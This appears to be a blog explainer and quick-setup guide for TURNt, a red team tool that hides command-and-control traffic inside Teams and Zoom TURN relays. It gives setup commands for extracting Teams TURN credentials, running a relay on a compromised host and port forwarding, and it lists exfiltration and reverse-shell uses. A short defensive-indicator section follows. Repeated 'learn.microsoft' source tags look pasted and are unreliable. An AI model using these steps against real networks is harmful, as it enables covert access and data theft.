What is TURNt?
TURNt is Praetorian's open-source red team tool that tunnels command-and-control traffic through legitimate TURN servers hosted by web conferencing providers like Zoom and Microsoft Teams. learn.microsoft
TURN stands for Traversal Using Relays around NAT. Web conferencing apps use TURN servers to relay video and audio when direct peer-to-peer connections fail due to firewalls or NAT. learn.microsoft
TURNt weaponizes this trusted infrastructure for covert C2 operations. learn.microsoft
Why TURNt Matters
Traditional C2 channels face four critical problems that TURNt solves:
Speed bottlenecks: Chat-based C2 (Teams, Slack) is too slow for interactive tasks like SOCKS proxying or VNC. learn.microsoft
Deep packet inspection: Even encrypted C2 traffic gets flagged by behavioral analysis. learn.microsoft
Anomaly detection: High request frequency to single domains triggers alerts. learn.microsoft
Infrastructure blocking: Defenders can identify and block C2 infrastructure. learn.microsoft
TURNt bypasses all four by hiding in legitimate high-volume conferencing traffic that enterprises whitelist and exempt from TLS inspection. youtube
How It Works
TURNt tunnels traffic through TURN servers on port 443 using TURNS (TURN over TLS over TCP). learn.microsoft
The traffic looks identical to legitimate Zoom or Teams meetings at the network level. youtube
Architecture has three components:
turnt-controller: Runs on attacker machine, provides SOCKS5 proxy turnt-relay: Runs on compromised host, connects back through TURN turnt-credentials: Extracts valid TURN credentials from Teams
The handshake uses WebRTC offer-answer exchange passed through your existing C2 channel. learn.microsoft
Quick Setup Guide
Prerequisites
Go compiler or download prebuilt binaries from GitHub releases No external dependencies required learn.microsoft
Step 1: Get TURN Credentials
Extract Microsoft Teams credentials:
turnt-credentials msteams -o config.yaml
This generates valid TURN server credentials without needing an active meeting. learn.microsoft
Step 2: Start Controller (Attacker)
On your attacking machine:
turnt-controller -config config.yaml
Controller outputs a base64-encoded offer. Copy this string. learn.microsoft
Default SOCKS proxy listens on 127.0.0.1:1080 learn.microsoft
Step 3: Start Relay (Victim)
On compromised host, paste the offer:
turnt-relay -offer "<base64_offer_string>"
Relay generates a base64-encoded answer. learn.microsoft
Step 4: Complete Handshake
Paste the relay's answer back into the controller terminal.
Connection establishes through the TURN server.
SOCKS5 proxy is now active. learn.microsoft
Step 5: Use the Tunnel
Route traffic through the proxy:
curl --socks5 localhost:1080 http://internal-server
Configure tools to use 127.0.0.1:1080 as SOCKS proxy. learn.microsoft
Advanced Features
Port Forwarding
TURNt includes turnt-admin for interactive port forwarding. learn.microsoft
Start admin console:
turnt-admin
Local port forward (access remote RDP):
lportfwd add 13389 192.168.1.38:3389
Remote port forward (expose your service to target network):
rportfwd add 8888 127.0.0.1:8080
Red Team Use Cases
RDP and VNC access: Forward remote desktop connections SSH pivoting: Interact with internal Linux hosts NTLM relay attacks: Host relay servers inside target network Reverse shells: Set up listeners for other compromised systems Data exfiltration: High-bandwidth file transfers bleepingcomputer
Supported Platforms
Microsoft Teams: Fully automated credential extraction learn.microsoft Zoom: Requires manual credential extraction via Burp Suite learn.microsoft Cisco WebEx: Under research learn.microsoft
Platform support varies by component:
turnt-relay: Windows, Linux, macOS turnt-controller: Linux and macOS only (Windows terminal limitations) learn.microsoft
Detection Challenges
TURNt traffic is extremely difficult to detect because:
Legitimate infrastructure: Uses real Zoom and Teams TURN servers youtube Whitelisted IPs: Enterprises typically allowlist conferencing provider IPs youtube TLS exemption: Often excluded from TLS inspection youtube High volume cover: Blends into massive legitimate conferencing traffic learn.microsoft Port 443: Standard HTTPS port learn.microsoft
Defensive Indicators
Defenders can look for:
Unusual TURN server connections: Connections to Teams or Zoom TURN servers without active meetings Long-duration TURN sessions: Persistent connections lasting hours TURN traffic outside business hours: Conferencing traffic at 3 AM High bandwidth to TURN servers: Large data transfers during "meetings" TURN connections from servers: Backend systems connecting to conferencing TURN infrastructure learn.microsoft
Monitor these domains:
*.relay.teams.microsoft.com
*.cloud.zoom.us
turnsg01.cloud.zoom.us
Limitations and Considerations
TCP only: No UDP or IPv6 support learn.microsoft Head-of-line blocking: All traffic goes through single TCP stream learn.microsoft Connection stability critical: Drops require manual re-handshake learn.microsoft No authentication: SOCKS proxy has no access controls learn.microsoft Avoid speed tests: Flood the connection and break the proxy learn.microsoft
Key Takeaways
TURNt tunnels C2 traffic through legitimate Zoom and Microsoft Teams TURN servers, creating fast interactive channels that evade detection.
The tool provides SOCKS5 proxying and port forwarding through whitelisted infrastructure exempt from deep inspection.
Setup takes minutes: extract credentials, start controller, start relay, complete handshake.
Traffic looks identical to legitimate web conferencing, making detection extremely difficult for defenders.
Built in Go with zero dependencies, available as prebuilt binaries or source on GitHub.
Praetorian presented this research at DEF CON 33 in the "Ghost Calls" talk.
Red teams can maintain low-and-slow persistent C2 while activating high-bandwidth interactive sessions on demand.
Connect With Me
Sign up FREE for my web app
YouTube: @cyberhawkconsultancy | @cyberhawkk
TikTok: @cyberhawkthreatintel
X: @cyberhawkintel
Telegram: @cyberhawkthreatintel
Hashtags: #cyberhawktheatintel #cyberhawkconsultancy #cyberhawkk